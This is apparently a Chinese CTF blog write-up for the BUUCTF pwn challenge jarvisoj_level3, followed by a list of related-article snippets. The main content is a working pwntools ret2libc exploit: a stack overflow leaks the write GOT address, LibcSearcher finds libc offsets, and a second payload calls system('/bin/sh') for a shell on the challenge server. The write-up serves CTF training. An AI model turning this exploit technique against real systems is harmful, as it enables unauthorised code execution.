[BUUCTF-pwn]——jarvisoj_level3

  • 题目地址: https://buuoj.cn/challenges#jarvisoj_level3

以前好像写过这个题, 就不详细写了。有兴趣的可以去之前的博客翻一下, 就在BUU和OJ 里面

大致思路, 泄露出一个地址, 找到对应的libc版本。计算偏移找到system和’/bin/sh’

exploit

from pwn import *
from LibcSearcher import *p = remote("node3.buuoj.cn",27068)
elf = ELF("./level3")
#gdb.attach(p, "b *0x08048482")
write_got = elf.got['write']
write_plt = elf.plt['write']main = 0x0804844Bpayload = 'a' * (0x88 + 0x4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(8)p.sendafter("Input:\n", payload)
write_addr = u32(p.recv(4))
print hex(write_addr)libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(binsh)
p.sendlineafter("Input:\n", payload)
p.interactive()

[BUUCTF-pwn]——jarvisoj_level302-21相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. PHP问题 —— Deprecated: Function ereg_replace() is de
  2. Nature Methods:宏基因组物种组成分析工具MetaPhlAn2
  3. 从视觉到语言:半监督式学习的大规模实际运用
  4. Struts2拦截器的使用
  5. 继续不务正业,今天来弄弄R
  6. HDU1029 - Ignatius and the Princess IV【水题】
  7. 数据库知识点2——关系模型之基本概念
  8. PHP工厂模式的研究
  9. javascript 栈 Stack
  10. 内存为什么还有管理?
  11. Guava入门~MoreObjects
  12. python获取方法的装饰方法_python中的方法和装饰器
  13. oracle分组后伪列,Oracle伪列和伪表和分组函数(row_number,Rank)
  14. Linux: 利用 Alpine 在命令行里访问 Gmail
  15. 学习笔记——web安全深度剖析
  16. 2020 年百度之星#183;程序设计大赛 - 初赛一
  17. TortoiseGit推送
  18. c#使用webbrowser时,设定IE版本
  19. Android实例(一)—— 3D画廊
  20. 说话干嘛要“之道”啦?(1-10)

热门文章

  1. JQuery跨站脚本漏洞
  2. word2vec中文相似词计算和聚类的使用说明及c语言源码
  3. iOS之深入解析如何构建静态库
  4. HarmonyOS之常用组件TabList与Tab的功能和使用
  5. LeetCode Algorithm 797. 所有可能的路径
  6. 2016年第七届蓝桥杯 - 省赛 - C/C++大学A组 - B. 生日蜡烛
  7. Vue CLI:全局CLI配置
  8. Python 奇技淫巧
  9. ImportError: No module named ‘pip._internal’
  10. 1131:基因相关性